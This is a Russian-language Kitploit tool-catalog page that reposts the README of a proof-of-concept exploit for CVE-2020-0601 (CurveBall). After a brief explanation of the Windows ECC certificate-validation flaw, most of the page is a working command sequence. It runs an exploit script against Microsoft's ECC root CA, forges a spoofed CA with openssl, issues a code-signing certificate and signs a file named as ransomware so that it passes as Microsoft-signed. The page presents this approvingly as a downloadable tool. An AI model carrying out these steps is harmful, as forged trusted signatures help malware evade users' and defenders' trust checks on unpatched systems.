Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CurveBall-CVE-2020-0601-PoC — Эксплойт Proof-of-concept для CVE-2020-0601 (CurveBall), демонстрирующий обход проверки сертификатов ECC для подделки доверенного CA и подписи произвольных исполняемых файлов. | Kitploit
Инструменты/GitHubGitHub/okanulkr/curveball-cve-2020-0601-poc
Анализ уязвимостейАнализ КодаЭксплуатацияКриптографияТестирование на ПроникновениеRed Teaming
GitHubokanulkr/curveball-cve-2020-0601-poc

CurveBall-CVE-2020-0601-PoC

Эксплойт Proof-of-concept для CVE-2020-0601 (CurveBall), демонстрирующий обход проверки сертификатов ECC для подделки доверенного CA и подписи произвольных исполняемых файлов.

Репозиторий
55 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CurveBall (CVE-2020-0601) - PoC

Эта уязвимость, известная как CurveBall, вызвана некорректной проверкой сертификатов, использующих алгоритм ECC. Windows пытается проверить ранее проверенные сертификаты из кэша сертификатов, и при этом проверяет только идентичность открытых ключей сертификатов, не проверяя другие параметры.

Математические детали

Для подделки сертификата мы явно задаем параметры следующим образом:

root@kitploit:~
d' = 1 
G' = Q

Если вам нужно больше информации, вы можете проверить раздел математических деталей в файле final_report_milestone_IV.pdf.

Использование (Подпись кода)

В этом PoC мы используем "Microsoft ECC Product Root Certificate Authority", который является доверенным сертификатом Microsoft до 2043 года.

Извлечем открытый ключ из CA и изменим его в соответствии с уязвимостью

root@kitploit:~
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Мы создаем новый сертификат x509 на основе этого ключа. Это будет наш собственный поддельный CA.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="

Чтобы посмотреть содержимое spoofed_ca.crt

root@kitploit:~
openssl x509 -in spoofed_ca.crt -noout -text

Мы создаем новый ключ. Этот ключ может быть любого типа, какой вы хотите. Он будет использоваться для создания сертификата подписи кода, который мы подпишем нашим собственным CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Далее мы создаем новый запрос на подпись сертификата (CSR). Этот запрос обычно отправляется доверенным CA, но поскольку у нас есть поддельный, мы можем подписать его сами.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Мы подписываем наш новый CSR с помощью нашего поддельного CA и ключа CA. Этот сертификат истечет в 2047 году, в то время как настоящий доверенный CA Microsoft истечет в 2043 году.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

Осталось только упаковать сертификат, его ключ и поддельный CA в файл PKCS12 для подписи исполняемых файлов.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

Подпишем наш исполняемый файл с помощью файла PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234

Теперь у нас есть новенький ransomware подписанный Microsoft :)

Скачать инструмент